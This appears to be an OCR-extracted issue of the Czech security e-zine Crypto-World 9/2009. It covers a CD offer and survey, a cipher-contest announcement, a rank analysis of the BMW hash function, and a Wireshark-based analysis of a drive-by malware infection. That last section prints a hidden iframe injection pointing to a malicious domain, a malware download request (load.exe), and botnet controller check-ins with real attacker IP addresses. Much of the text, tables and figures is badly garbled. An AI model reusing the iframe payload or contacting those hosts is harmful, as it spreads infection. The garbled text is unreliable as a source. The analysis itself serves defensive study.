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A. CD k 11.vyro¢i zaloZeni e-zinu Crypto-World
Pavel Vondruskapavel.vondruska@-crypto-world.info

Crypto-World 9/2009

Véazenictendi, dékuji za @iznivou reakci a za zaslané komeéat& naSinabidce vytvarit
k jedenactému vyraéi zalozeni e-zinu Crypto-World (poprvé vydan v za 1999)
informaéni CD, které by obsahovalo vSechna dosud vy$&ida, wetnd priloh a dale SW,

ktery byl v ramci sowi 2000-2009 speci&rvytvoren a gkteré dalSi materialy, které jsou

na webu k dispozici (na@pknihu Elektronicky podpis, star8ianky v jinych médiich apod.) a
které bychom za poplatek rozesilali. Majitel odpadne pracné a dlouhé stahovéani sdubor

Zz naSeho webu, kde jsou (a i nadale budou) prktd¥i, si CD nezakoupi, vSechny materialy

zdarma k dispozici.

Na zaklad vyplnénych a zpt zaslanych dotaznikjsem zpracoval statistické zhodnoceni
vasich reakci do nasledujici tabulky:

Otazka MoZnosti procenta dle odpov édi

1 | Myslim si, Ze je to dobra sluzba ANO / NE 95,2381 | 4,761905
2 | Mél bych zajem si CD po Fidit ANO / NE 85,7143 |14,28571

Cena 120,- K¢é (véetné balného a nizka/odpovidajicilvysoka
3| posStovného) mi p Fipada 29,0476 |66,19048 | 4,8

Mél bych z4jem, aby na CD byla

databaze vSech p Fispévku
4| zvetejnovanych na webu 80,9524 |19,04762

v sekci Crypto-News a Security- ANO / NE

News

(k 31.7 jiz vice jak 10 200 p Fi-

spévk )

Byl bych ochoten za CD rozSi-
5| Fené o databazi p fispévku za- 47,619 |52,38095

platit 180,- K & ANBJINE

(véetné balného a poStovného)

Platba p fedem p fevodem na U €et
6| CW je pro mne akceptovatelné ANO / NE 100 0

reSeni platby

Budu pot febovat p Fedem zaslat
7 PROFORMA EAKTURU ANO / NE 9,52381 |90,47619
8| S CD budu pozadovat dodani felunylp Timovels okladulemito | g 52381 | 9,52381 | 81
9 Muj komenta F: pridan/nep Fidan 61,9048 |38,09524

Velmi cenné byly akteré vaSe reakce a komemtakteré po vyhodnoceni vedly kiegréni
cenové nabidky a distribucépravovaneho CD.

- Upozornili jste nas ndpna to, Ze poStovné do ciziny jsme asi heuvazpvelba

v cenové nabidce to nerozliSujeme. Ano mate pramdnapadlo mne, Ze bude o CD

zajem i odctendl ze Slovenska (resp. jinych dtat Kalkulaci pro zaslani CD do
ciziny budeme muset vzit do Gvahy a cenu v takop@pac navysime, viz CENIK.
- Vzhledem k upozormi, Ze platba fevodem z ciziny je pro odesilatele draha, se

pokusime vyjit vgic a nabizime alternativni @gob platby pes PayPal (kde poplatek

je vyrazre nizsi a plati jej fijemce)
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- Vyjdeme vstic i pozadavku, zda nebude mozné CD osqtiavzit na MKB (detaily
k MKB viz ¢lanek Pozvanka / CFP na MKB 2009). Ano bude to rdoZPena pro
osobrt prevzaté CD na MKB je uvedena v CENIKU.

Dekuji i za pochvalu naSéinnosti a ®které zajimavé na#ty, které mozna v budoucnu
vyuzijeme, @kuiji i za nabidku spoluprace. Je velniijpmné mitsvécétende, ktei pisi kolik
let jiz CW odebiraji a stale ejomaji zajem. Za tyto e-maily velicetkluji. Dodavaiji silu se e-
zinu a s tim souvisejiciginostem (Soutz, NEWS, web) ¥novat. U¥domuiji si, Ze situace je
diametralg odliSna nez f jeho ,zalozeni v roce 1999, kdy opravdu mnohozmasti ziskat
informace o kryptologii (navic ¥eském jazyce nebylo) a dneSkem, kdycistaadat
pozadovaneé kioveé slovo do éktereho z vyhledavd. Proto velice &kuji vSem gizniveam
CW. Diky nim a nezistné spolupractigpévateli také Crypto-World dosud nesksiha
pokratuje.

Od dnesniho dne Ize avizované CD objednat.

CD - cenik bez databaze |s databazi NEWS
MKB /osobné 100,00 K& 160,00 K&
postou v CR 120,00 K& 180,00 K&

poStou mimo CR | 150,00 K& 210,00 K¢&
6,00 EUR 8,40 EUR

Objednavky zasilejte e-mailem na adresu pavel.vondruska@crypto-world.info
(upiednostiujeme) nebo pisem# na adresu

Pavel Vondruska, PavliSovska 2285, 193 00 Praha -okhi Pocernice.

Pokud poti‘ebujete PROFORMAFAKTURU, uved’te to v objednavce, obratem Vam ji
zasSleme. Doklad o zaplaceni (fakturu) zaSleme spéig s CD.

Platebni udaje:

Prevod: ¢islo (étu: 000000-0414823103 , kdd banky: 0800, variabilsymbol:

(v pripadé proformafaktury uve dte jeji €islo, jinak Vase identifikaéni ¢islo, které si
vymyslite a uvedete v objednavce, nezapoiite jej uvést neba’ jinak nebudeme schopni
dohledat, zda jste za CD jiz zaplatili).

PayPal: (et pavel@cryptoworld.info
Subject — vloZzit vas registrovany e-mail pro odér e-zinu Crypto-World.

Po obdrzeni platby bude CDspol&né s dokladem o zaplacenbdeslanona doruéovaci
adresu uvedenou v objednavce. Prosim po jehdgvzeti potvrdit e-mailem doruteni.

Formular objednavky je uveden v iloze. Neni vSak zavazny, fizete pouZzit vlastni.

Dékuji za Vas zajem a podporu e-zinu Crypto-World.
Pavel Vondruska



Crypto-World 9/2009

B. PodzimniSou#z v luséni 2009 Uvodni informace
Pavel VondrusSkap@avel.vondruska@crypto-world.info

Vazeni ¢tendi, 15. 10. 2008zane ot tradicni podzimni sou#z v [uSni
jednoduchych Sifrovych texti o ceny —Sou#z v luséni 2009 Pro no¥ registrované&tenée
muze byt zajimave, Ze obdobné et pdadal nas e-zin jiz od roku 2000.

V prvnich letech (2000-2004) byly ulohy z&fany na klasické Sifrové systémy. Od
roku 2005 jsem zml doprovazet ukoly doprovodnymi komefita napoédami v NEWS.
V roce 2006 jsem pak #adil i vymySleny doprovodnyifbeh, ktery ulohy volg spojoval.
Jednalo se o drobné epizody ze Zivota detektivatdmp Cardy. Fbeh vyustil v lov na
chameledna rasy Cryptomelon Pragensis. V roce 29@7pouZzit rozsahly doprovodny
fiktivni piibéh matematika $Spana Schmidta, ktery se odehraval v&ddarie Terezie.
Pribéh z 18.stoleti byl zkombinovéan s fikci, kter4 paopisla jeho Gdajnégsobeni WCerné
komnat — lustitelském pracovisti na tehdejSim ts&&m dvae. V lonském roce byla soit
doprovazena fiktivnim iffbéhem z druhé stové valky. Cely doprovodnyifbéh soutze se
odehraval kolem snahy vylustitul@zitou depeSi odvysilanou Ifna 1941. Spokné
s britskym distojnikem Johnem Wellingtonem jste tak mohli odhatozahadu nového
neznamého Sifrovaciho izeni. Jak se dhem soutZze ukazalo depeSe byla zaSifrovana
pomoci #meckého Sifratoru SZ 4®Resitelé monhli k lugni pouZit funkni simulator, ktery
byl (je) volné dostupny na domovské strance naseho e-zinu.

Lonské soutZze se ztastnilo celkem 12Z%eSiteli. VSechny ulohy vkeSilo nezvykle
malé mnozstvi soékicich a to jen 4 (zatimco v roce 2007 naopak akich 16)!

Podle e-mail, které jsem &hem soutZze a po ni od vas obdrzeklaji doprovodné
texty soudz pro (&astniky atraktivijsi, a proto i letos jsem jeden takovytiolgh pripravil.

Leto3ni doprovodnyifibéh k soutZi se bude odehravatGeskoslovenské republice koncem
padesatych let. Tentokrate bude mit v &hiutvé dileZité misto Sifrator SD-2 o kterém jste si
mohli precist v letoSnim letnim dveisle ¢lanek V.BrtnikaRekonstrukce Sifrovaciho stroje
SD-2). Simulator Sifratoru SD-2 bude dostupny na CD, kieyo vytvareno k 11.vyréi
zalozeni e-zinu Crypto-World a déle je mozné sinmil&ifratoru SD-2 stahnout z naseho
webuhttp://crypto-world.info/soutez2009/sd2/cti.txt

Chcete-li si pipomenout starSi ulohy {jpehy) a jejichieSeni (coz se vamuke hodit
i pfi hledani spravnéhitesSeni v letoSnim roce),irbete je nalézt na domovské strance naseho
e-zinu v sekci ¥nované sowim: http://crypto-world.info/souteze.php

Presna pravidla, ceny sponzaoa prvé ulohy sodéfe najdete viiStim cisle naseho e-
zinu Crypto-World 10/2009, ktery vyjde 15.10.2008echny informace budou stasré
dostupné i na naSem webu v sekmavané sowim http://crypto-world.info/souteze.php

SoutZ bude ot uréena pouze registrovanymétenairam nasSeho e-zinu, do
soutéZe bude nutné (tak jako v minulych r@nicich) se zaregistrovat. Heslo k registraci
bude rozeslanaitenarim Crypto-Worldu spoleéné s koédy k jeho stazeni.

SoutéZicim jiz ted’ pieji péknou zabavu a UsgsSné vyeSeni vSech uloh!


http://crypto-world.info/soutez2009/sd2/cti.txt
http://crypto-world.info/souteze.php
http://crypto-world.info/souteze.php
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C.Poznamka k linearnim aproximacim kryptografické ha®vaci
funkce BLUE MIDNIGHT WISH
Vlastimil Klima, nezavisly kryptolog Mklima@volny.c2)
Petr Susil, PhD student, EPFu6il.petr@gmail.con)

Abstrakt. HaSovaci funkce BLUE MIDNIGHT WISH (BMW) je neghlejSi ze 14
kandidati v 2. kole soutze SHA-3 [1]. Na z&atku tohoto kola byli autokandidati vyzvani,
aby ged 15. z&m upravili své algoritmy (tzv. tweak). V tomtdigpivku se budeme zabyvat
tedy nejno¥jSi "tweakovanou" verzi BMW [3]. Algoritmus BMW jeypu AXR, protoZze
pouziva pouze operace ADD (sub), XOR a ROT (shfitlyz operaci ADD nahradime XOR,
obdrzime BMW,, coz je afinni transformace. \tippivku uvazujeme pouze funkci BMWa
jeji stavebni bloky. Tyto afinni transformace mohwojt reprezentovany linearni matici a
konstantnim vektorem. Zjistili jsme, Ze vSechny io&tvysSich stavebnich bidkBMWii,
maji plnou hodnost nebo hodnost blizkou k ni. Tgkée zkoumali strukturuethto matic.
Matice dikich stavebnich blak maji aiekavanou nenahodnou strukturu, zatimco matice
vysSich blok maji strukturu jiz nahodnou. Ukazeme také matice mizné hodnoty
ExpandRounds(pro hodnoty mezi 0 a 16). Jejich zvySovani vedétki ndhodnosti matic,
coz bylo navrhé zamysleno. Tato pozorovani plati pracolerze BMW256, a BMW5132,.

V této line&rni analyze jsme nenasli Zadnou unite vlastnost, ktera by pomohla
kryptoanalyze, ani jsme nenasli Zzadnou slabost BMStudium ditich bloki bude
nasledovat.

{ @«} fo
i

L.
[ AddElement |——
- J

ExpandRounds;

fi

ExpandRounds;

—=a )
— —~ — I
.’\ L. \ {Lf L )1
= L? 5 " & J
= 751}3{#;7
& 1]
fo s - f2
==
'—'ﬁia'\li.-'i-l"—"

1

Final hash H |

Obr.1: Schéma (tweakované verze) BMW [3]
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Uvod

V prispvku uvazujeme pouze funkci BMW a jeji stavebni bloky. Tyto afinni
transformace mohou byt reprezentovany maticemiditwé hodnost a strukturéichto matic.
Hlavni bloky BMW jsou §, f;, fo. Vytvati tii meziprongnné Q, Q,, G a pfibéZnou has H (viz
obr. 1). VSechnytyii proménné jsou 16*w - bitova slova (w = 32/64 pro BMW2562).
Tyto pronenné zavisi pouze na vstupnim bloku M a na statbépné hasSovaci hodnot.
Praw tyto zavislosti budou ukdzany v maticich. Pov&itansi hodnosti a struktury kazdé
matice. Nekteré matice budou ukazany prékolik riznych hodnot bezgeaostniho parametru
ExpandRounds Fripomaime, Ze po ExpandRoundsundach typu expandcasleduje 16 -
ExpandRoundsrund typu expand[3]. Pro rozsahlost tohotorigpivku predpokladame, Ze
¢ten& je sezndmen se zakladnim popisem BMW v [3]. Tak&fvame jednoduché ozfeani
H, ale kdykoli by mohlo dojit k nepochopeni, kteréodnot to je, odliSujeme je jako oldH a
newH (viz obr. 1). NaSe pozorovani plati pr@ elerze ok verze BMW25¢, a BMW512;,,
proto z divodu jednoduchosti prezentujeme vysledky pouzeBdiaV256;,.

Na nasledujicim obrazku vidime linearni zavisloszimM a Q. Jsou zde dymatice typu
512 x 512 (oddenécernym pruhem), coz oztiajeme jako (M, Q. Sloupce reprezentuji 512
proménnych (bif)) proménné M na levé strana 512 prordnnych (bifi) proménné Q na
pravé strat Radky pak reprezentuji linearni zavislosti mezi nigylevé stran(M) a bity na
pravé straé (Q). ProtoZze matice na pravé stége identicka, dava nam tdimou zavislost
bitd Q, na bitech prognné M. Kazdyadek niize byt také zapsan jako linearni rovnice

@-siel-efr Ti = @jeﬁ’ighr Yj-

Indexy bif, které se objevuiji v rovnici, jsou na obrazku Baseny jakocerné body. Tim
zde mj. nizeme vidt zavislost prvniho slova {ha @ti slovech M, coz vyplyva z definice
transformace Ave [3].

NN N NN

AR N WY

N N, \ N N
k\X\ \\\\ \\

AN NN N
N0 W \ N

&\ \\\\\\ \\\\

N \ \\ N \X

NN NN
N R R \§
\ NN AN
N \\ x\\ k\\\
N N N NN
Obr.2: Riklad zavislosti mezi progmnymi (bity) M a Q, coZz oznaujeme jako (M, Q.

//

Kdyz bychom chili vidét zavislost M na @ potebovali bychom inverzni matici. Jak
vime z linearni algebry, xorovanim jednokéadku s jinym nebo jejich vyéma nemgni
hodnost matice. S vyuzitiméahto dvou operaci v naSem eliminém algoritmu
transformujeme dvojici matic (A, 1) na (I, A"), &d je identicka matice a I" je identicka,
pokud matice A ma plnou hodnost. Je-li I” identftak A" ukazuje zavislosti M naQviz
nasledujici obrazek. Je-li A singularni, pak I éuahit neprazdny sloupec (sloupce) nad
diagonalou. Poznamenejme, Ze péoma, kterd odpovida tomuto neprazdnému sloupci neni
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nezavisla a vystupuje pouze v linearni kombinadalsSimi pronénnymi (bity) v matici, viz
nagiklad obrazek 4 (Mez obrazku pro hodnost = MAX - 1).
V nasledujicim uvadime pouze nejzajigjaizavislosti.

Obr.3: (M, Q) - zavislost mezi M a

Elimination algorithm - transformation of (A, I) te (I', A'):

Input: boolean matrix A[LEN] [LEN]
Output: pair of boolean matrices (I?,A’)
var boolean matrix I[LEN] [LEN], where I[i][jl=1 if i==j and I[i][j]1=0 otherwise

for i=1 to LEN
begin
if A[i][i] then
for all j != i and A[j]1[i] //add line i to line j in (A, I)
for all k
A[j1[k] = A[31[k] + A[i]1(k] and I[j1[k] = I[j1[(k] + I[i][k];
else
for all j > i
if A[j1[i] //switch line j and i in (A, I)
for all k
switch values A[j][k] and A[i][k] and I[j][k] and I[i][k]
go to begin (without increasing i) or go to end (if i = LEN)
end
output (A,I)

Obr.4: Vyfez zavislosti u matice, ktera ma hodnost o 1 mg&iplnou

Zavislost Qa na M
Zavislost Q na M vidime na obrazcich 2 a 3. Poznamenejme, a@icennezavisi na

hodnot ExpandRoundsl, protozZe, {¢ vytvarena az ve funkciyf Hodnost matice (M, 9 je
rank(M, Q) =512, tj. plna.
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Zavislost Qa na H
Také hodnost matice (H, Qje plna, a protoZe zobrazuje zavislosti v bloku jésg
nezavisi na hodnd®ExpandRounds

AR R R NN
AR N Y

N ANON N
NN \\\\\ \\\
NN
< Ny NN
SN N
AN N\\

\ \

\ k\ \
\ \\
\ \ \\\ \\

Obr.5: (H, Q)

Obr.6: (H, Q)

Zavislost Qb na M

Zde mizeme poprvé vigt, Ze matice nemaji plnou hodnost a Zdéistam ExpandRoungs
maji tendenci se znahbalvat. Protoze ostatni zavislosti jsou podobné, igisauvadime
pouze hodnosti vS8ech matic a ukazkiterych.

FrpandHRounds,| 0 | 1 41516 |7|8
Rank({M,(Qy) [511[512|512|510|511|512|512|511|510

FErpand Rounds,| 9 (1011121314 | 15|16
Rank(M,Qy) |511[511|512|512|510[512[511|510

e
o e

Obr.7: (M, Q), ExpandRounds1 =0
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Dby 10: (M, Q) ExpandBounds] =0

Dby 11: (M, Q) ExpandFonands] = 2
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Obr.12: (M, Q) ExpandBounds] = 16

Lavishosit Qb na oldH

ErpondRoundsy| 0 | 1 |23 |45 |67
Rank{oldH, (1) [512]5100500051 11511511 (511510512
FrpondRoundsg ] 9 (100111213 1415 16
Rank{oldH, Ch ) |S1T{5111512{510{511512|511|51 1

Obr.13:(aldH, ), ExpandBounds] =0

Ohr.14:(aldH, Q) ExpandBounds1 =2

10
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Dby, 15: If-:-ldH, ), ExpandRounds]l = 16

Dhr. 16 (oldH, ), ExpandBounds] = 2
Zavizlost G na B

-"_..'.r.']'mutfﬁnu:ru.llm [} 1 | 2| % | 4 i [ i
Fank{ A, G |S1215 10050 HSLRSUHST 1S5 105251
T e zoa e
i.:rmnﬁjmﬁﬁ_jﬁ - IR LN O __L:l_ 14| 15 _l_i__
FRank( A, G |S10SHSI0|S1LHS121512|510|51 1

Chr.17: (M, 5, ExpandRounds] = 2

11



.,
Chr 18: (M, &), ExpandEounds] = 2
LZavizlost G na oldH
Erpandlounds| 0 | 1 |2 ]3| 4| 5|6 | 7|58
RankioldH ) [STHH11[STST1HS1151115121511|511
-;i‘;,l'j?:rl'rdH-:leH:Jl-] L T R R T )
Rank{oldH ) |GI2{5 10 S10[53 1151215 12(51 11511

Chr.19: (oldH, ), ExpandEounds1 =

2

Chy. 20: (oldH, &), ExpandEounds] = 2

Z4avislost newH na M
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ErpandRounds,

0]

Rank(oldH, G)

512

510

511

512

510

511

510

512

511

Erpand Rounds,

9

10

11

12

13

14

15

16

Rank(oldH, G)

510

510

510

511

512

512

510

511

12
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Cihr.21: (W, newH), ExpandRounds] =2

Ohr.22: (I, newH), ExpandRounds] =2

Zavislost newH na oldH
ExpandRounds, | 0| 1 |2 |34 |5 |6
Rank{oldH,newH)|511|511(510{511|511|511|512|511|511

ErpandRounds, | 9 |10 (11|12 |13|14 |15 |16
Rank{oldH, newH )|512|510|510|511|512|{512(511|511

Ty 23 (oldH, newH), ExpandRounds] = 2

Ty 24 (oldH, newH), ExpandRounds] = 2

13
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Zavér

Vysledky prezentované v tomtorippivku jsou pouze malowasti analyz, které byly
provedeny. Jak jste si povSimli, jsou zde zkoum@oyze zavislosti na pramnych M a H.
Avsak byly analyzovany idkteré di€i i vysSi stavebni bloky zvl&gtj. i s jinymi vstupy),
coz dava hlubsi pohled do struktury BMW. VysledlpindjSi analyzy budou nasledovat. V
tomto gispevku jsme vidli, Ze vSechny zavislosti vytyély matice s plnou hodnosti nebo ji
blizkou. Také struktura matic bylacekavana: matice dilch bloki nently nahodnou
strukturu, ale spvaly poZadavky rychlého michani prémych (bii). Matice vysSich
stavebnich blok mély plnou nebo skoro plnou hodnost a ndhodnou siruktVidéli jsme
také, ze je-li pozadovano (a mozné) zvySovat nabstdnmize to byt udlano zvySovanim
poctu rund ExpandRoungsTato pozorovani plati pro 8bdwe hlavni verze BMW256 a
BMW512.
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D. Co provadi infikovany poc¢itaé?
J aroslav Vorliéek (jerry at cybercave dot c2

Uvod

V ¢ervnovénxisle jsme se snaZili s kolegou rozebrat, co znankeigny Skodlivy javascript
ve webovych strankach a jak se do nich dostaneonMdclanku se zawtime na stejnou
problematiku z jiného pohledu. Podivejme se tedyameco se stane, pokud je navstivena
jinak neSkodna stranka ,infikovana“ iframe. Popde pfibech 160 sekund, které pramily
nezaplatovanou stanici v zombie aigpb, jak stanice komunikovala se sitichida.

Upozorreni — nasledujicicast obsahuje odkazy, které mohou vést na strankphofici
malware a IP adresy péti uta’nikim. Rozhod# nedoporduiji jejich navsévu, pokud Vas
pocitac a st neni gipravena na zachazeni s malware. Taktéz upagiompokud budete chtit
provést podobnou analyzu, mate pouze jediny polusziskani infekce. Nevim, jaky
mechanismus je nastaven na strankachcnit@, nicmés po jediném pokusu se zdroj
malware zablokuje wadu hodin az w@siai. NiZze uvedené obrazky jsou screenshoty
z Wireshark - zaznamusié komunikace infikované stanice.

Ziskani infekce
Nyni se podivejme, co se odehralo s nezaplatovapgitacem, po navstiveni stranky

obsahujici v HTML kddu néasledujici nenapadny jaxipsc

<iframe src="http://1otmachi nesgui de.cn/in.cgi?i ncone56" w dth=1 height=1
style="visibility: hidden"></ifrane>

Po zji§¢éni IP adresy se nechiy pasitac pokusil navstivit lotmachinesguide.cn a zobrazit
jeji obsah z IP 94.247.3.150 (Riga, Lotyssko).

Time Source Source por Destination Destination Protocol Info

883 21.172123 I 1043
e84 21.26202c I -3
gss 21.262200 I 2
ges 21.262222 [ s:
887 21.267224 N 1077
888 21.267605 I 1075
889 21.318797 54.247.3.150 80
890 21.319344 N 1077
891 21.319984 94.247.3.150 80
goz z1.321252 N 177
893 21.321553 I 1075
894 21.32209° N 1076
895 21.373150 94.247.3.150 80
896 21.375629 94.247.3.150 80
897 21.377906 94.247.3.150 80
898 21.378050 94.247.3.150 80
899 21.379417 I 1077
200 21.320124 N 1077
901 21.380492 94.247.3.150 80
902 21.380969 94.247.3.150 80
502 21.2381570 I 1075
904 21.382411 N 1032

oo e B B LT Ll I

— —
53 DNS  Standard query A lotmachinesguide.cn

1043 DNS  Standard query response A 94.247.3.150

1043 DNS  Standard query response A 94.247.3.150

1043 DNS  Standard query response A 94.247.3.150

80 TCP imgames = http [SYN] Seq=0 Win=65535 Len=0 MSS=1460

20 TCP  dab-sti-c > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460

1077 TCP  http = imgames [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 M5S=1460
80 TCP  imgames = http [ACK] Seq=1 Ack=1 Win=65535 Len=0

1076 TCP http = dab-sti-c [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=14860
20 HTTP GET /in.cgi?incomeS6 HTTR/1.1

80 TCP  dab-sti-c = http [ACK] Seg=1 Ack=1 Win=85535 Len=0

20 HTTP GET /fin.cgi?incomeS6 HTTR/1.1

1077 TCP  http = imgames [ACK] Seg=1 Ack=338 Win=8432 Len=0

1076 TCP  http = dab-sti-c [ACK] Seq=1 Ack=338 Win=6432 Len=0

1077 HITP HITR/1.1 302 Found (text/html)

1077 TCP  http = imgames [FIN, ACK] Seq=731 Ack=338 Win=6432 Len=0

80 TCP imgames = http [ACK] Seq=338 Ack=732 Win=54805 Len=0

80 TCP  imgames = http [FIN, ACK] Seq=338 Ack=732 Win=64805 Len=0
1076 HTTP HTTR/1.1 302 Found (text/html)

1076 TCP  http > dab-sti-c [FIN, ACK] Seq=731 Ack=338 Win=6432 Len=0
20 TCP dab-sti-c > http [ACK] Seq=338 Ack=732 W1in=64805 Len=0

53 DNS Standard query A hyperliteautoservices.cn

n 0w w0 w o (] o0 Qo
I O Y R S Y I Ia s
%] NN NN N [ NN
= BB BB = BB
5] bS] SN
(] w w W W w w w w
— = = il el — = =
ul [V ")) [V 0V B} ul [V "))
(o] (ol o) [l ool (o] [l o)

Shodou okolnosti se zde Zadny Skodlivy kéd nenachapaitac byl odkazan HTTP
navratovym koédem 302 (Document moved) hp://hyperliteautoservices.cn/index.php
Stranka hyperliteautoservices.cn/index.php sidddP 94.247.3.151(Riga, LotySsko).
PoZadavek s odpedi je uveden viflloze HTTP Pozadavek — lotmachinesguide.cn

Vlastni exploity pro Adobe Acrobatiipadré Adobe Flash player byly umésty na domé#
hyperliteautoservices.cn.

PoZadavek s odpedi je uveden viflloze: HTTP Pozadavek — hyperliteautoservices.cn.
Po usgsSném vykonani exploitu, nasledovalo stazeni viastmalware na pitac obgti.
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Mo, . Time Source Source por Destination Destination Protocol Info
974 25.94704]1 I 10z [ 1] 53 DNS Standard query A litehitscar.cn
975 26.400083 I 53 I 032 DOnNs  Standard query response A 94.247.3.151
o75 z6. 400122 I = I 10=2 DS Standard query response A 94.247.3.151
o977 26,4002 I -: I 1032 DNS Standard query response A 94.247.3.151
978 26. 402281 I 1050 94.247.3.151 80 TCP  socks = http [SYN] Seq=0 Win=65535 Len=0 MSS=1460
979 26.452876 94.247.3.151 80 I cco TCP http = socks [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
980 26.453555 | 1050 2 94.247.3.151 80 TCP  socks = http [ACK] Segq=1 Ack=1 Win=65535 Len=0
981 25.453597 I 1050 94.247.3.151 80 HTTP GET /load.php?id=8 HTTP/1.1
982 26.505683 94.247.3.151 80 I 100 TCP http = socks [ACK] Seg=1 Ack=152 Win=6432 Len=0
083 26.512435 94.247.3.151 80 I 1080 TCP [TCP segment of a reassembled PDUI
984 26.513761 94.247.3.151 80 I 1020 TCP [TCP segment of a reassembled PDU]
985 26.514390 I 1050 94.247.3.151 80 TCP  socks > http [ACK] Seq=192 Ack=2921 Win=85535 Len=0
085 26.570370 94.247.3.151 80 I 10=0 TCP [TCP segment of a reassembled PDUI]
987 26.571271 94.247.3.151 80 I 10s0 TCP [TCP segment of a reassembled PDU]

Ukazka pozadavku:

GET /Il oad. php?id=0 HTTP/ 1.1

Accept: */*

Accept - Encodi ng: gzip, deflate
User-Agent: Mozilla/4.0 (conpatible;
Host: litehitscar.cn

Connection: Keep-Alive

Cely pozadavek s odpdi je uveden vifloze - HTTP Pozadavek — ziskani souboru load.exe

MBI E 6.0; Wndows NT 5.1; SV1)

Komunikace s Botnetem

Testovaci stanice netta nainstalovany antivirovy softwaréili nic nezabranilo stazeni a
spuséni viru. Jakmile byl vir pevé uhniz&n v paitaci, ihned o sob dal wdét atacnikovi
piipojenim na IP adresu 78.109.29.112 (Ukrajina, @aesimto se z @itace stala takzvana
zombie (anglicky bot) a zapojil se doésibviadaného Gtmaikem (takzvaného botnetu).
Misto, kam se {ipojil, se anglicky nazyva botnet controller.

Protocal | Info
TCP cplscrambler-in = http [SYN] Seq=0 wWin=65535 Len=0 M55=1460
1106 28.137002 78.109.29.112 http = cplscrambler-in [S¥N, ACK] Seg=0 Ack=1 Win=5840 Len=
1107 28.1375811 78.109.29.112 cplscrambler-in = http [ACK] Seg=1l ack=l win= 65535 Len=0

08 28 R | | 78.109.29. GET /new/controller.php?action=bot&entity_lIi

Destination
78.109.29.112

Mo, - Time Source

1105 28.082364

1109 28.194447 78.109.29.112 I - http > cplscrambler-in [ACK] Seg=1 Ack=123 win= 58-10 I_en 0
1110 29.049262 78.109.29.112 NN CF [TCP segment of a reassembled PDU]

1111 29.049648 78.109.29.112 I CF [TCP segment of a reassembled PDU]

1112 29.050445 N c.109.29.112 TCP cplscrambler-in = http [ACK] Seg=123 Ack=2124 Win=65535 Len
1112 29.112061 78.109.29.112 N CF [TCP segment of a reassembled PDUJ

1114 29.112369 78.109.29.112 TCP [TCP segment of a reassembled PDU]

1115 29.1142862 78.109.29.112 TCFP cplscrambler-in = http [ACK] Seg=123 Ack=4086 wWin=65335 Len
1116 29.431490 78.109.29.112 NN CF [TCP segment of a reassembled PDU]

1117 29.432389 78.109.29.112 N 7CF [TCP segment of a reassembled PDU]

1418 240 A333A4 TE 100 30 1173 . T D ITro canmarn + nf 3 rasccam hlad oruil

Ukazka pozadavku:

GET

/ new/ controll er.php?acti on=bot&entity |ist=&ui d=1&first=1&gui d=1620087188&r
nd=981633 HTTP/ 1.1
78.109. 29. 112

Cely pozadavek s odpdi je uveden vifloze - HTTP Pozadavek +iRlaSeni do botnetu

Host :

Odpowd’ od botnet controlleru obsahoval&t& mnozstvi binarnich dat. Mohlo se jednat o

aktualizaci malware fijpadré dalSi intrukce pro napadani.

Po obdrzeni binarmiah se

zombie zpt nahlasila controlleru. Jeakbzité podotknout, Ze uzivatel napadenéhditpse
toto chovani nerize nijak zpozorovat. Opefiai systém se v té délchoval na prvni pohled
naprosto normath
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No. - Time Source Destination Protocal | Info

1329 30.276319 I 5.109.29.112 TCP cplscrambler-al = http [SYN] Seg=0 Win=65535 Len=0 M55=1
1332 30.332024 78.109.29.112 N TCF http = cplscrambler-al [5YN, ACK] Seq=0 Ack=1 Win=5840 L
1333 30.332713 78.109. 29 112 TCP cplscrambler-al = http [ACK] Seg=1 Ack=1 u'lr'l =65535 Len=C

4 30 54 . .29, GET /new/control ler.php?action=report&quid=0&rnd=9816334
1335 30.335548 78.109. 29.112 cplscrambler-al = http [FIN, ACK] Seq=199 Ack 1 win= 6554
1336 30.389019 78.109.29.112 TCP http > cplscrambler-al [Ack] Seg=1 Ack=199 win=6432 Len=
1337 30.430214 78.109.29.112 I cF http = cplscrambler-al [ACK] Seg=1 Ack=200 win=6432 Len=
1339 30.525172 78.109.29.112 — HTTP/L.1 200 OK
1341 30.526108 78.109.29.112 —

http = cplscrambler-al [FIN, ACK] Seq=155 Ack=200 win=864

Ukazka komunikace:

GET

/ new/ controll er.php?acti on=report &ui d=0& nd=981633&ui d=1&entity=1239013921
;unique_start; 1239013932: uni que_start; 1239013964: uni que_start; 1239788112: un
ique_start HITP/ 1.1

Host: 78.109.29.112

Cely poZzadavek s odpdli je uveden vifloze - HTTP Pozadavek — Hlaseni do botnetu

MNa. - Time Source Destination Protocal | Info

1342 30.53367¢ N -.100.30.224 TCP ff-fms = http [SYN] Seq=0 wWin=65535 Len=0 M55=1460
1343 20. 593530 78.109.30.224 http > ff-fms [S¥N, ACK] Seq=0 Ack=1 win=5840 Ler‘l 0 Mss=1
ACK] S

0 0.4

B.100.30. 274 T p eq=
13-15 30. 595132 I c-100.30.224 [TCP segment of a reassembled PDU]
1346 30.595144 SN 5.109.30.224 TcP  ff-fms > http [FIN, Ack] Seq=144 Ack=1 win=65535 Len=0
1347 20.651693 78.109.30.224 N TcF http > ff-fms [ACK] Seq=1 Ack=144 wWin=6432 Len=0
1348 30.688318 78.109.30.224 NG HTTE  HTTP/1.1 200 ok (text/html)
1349 20.688558 78.109.30.224 http > ff-fms [FIN, ACK] Seq=407 Ack=145 Win=6432 Len=0
:

Ukéazka komunikace:

PCST /good/receiver/online HTTP/ 1.1

Host: 78.109. 30. 224

Cont ent - Type: application/ x-wwform url encoded
Content-Length: 16

gui d=162008718

Cely poZzadavek s odpdi je uveden vifloze -HTTP Pozadavek — HlaSeni do botnetu 2

Jakmile je botnet pe¥nusazen v siti, tak odesild informace o stanici IlRaadresu
213.155.6.34 (Ukraine, Kiev).

MNa. - Time Source Destination Protocol | Info

. 5599 . . B, 34 nicelink > http eq
.618536 213.155.6.34 TCP http = r'|'|ce'|'|r'|l< [5¥N, ACK] Seqg=0 Ack=1l win=!

1368 36.6819917 213.155. TCP nicelink = http [ACK] Seg=1 Ack=1 win=65535
1369 36.722568 213.155. TCP [TCP segment of a reassembled PDU]
1370 36.7226086 213.155. TCP [TCF segment of a reassembled PDU]
1371 36.779724 213.155.6.34 TCP http > nicelink [ACK] Seqg=1 Ack=1461 wWin=87¢
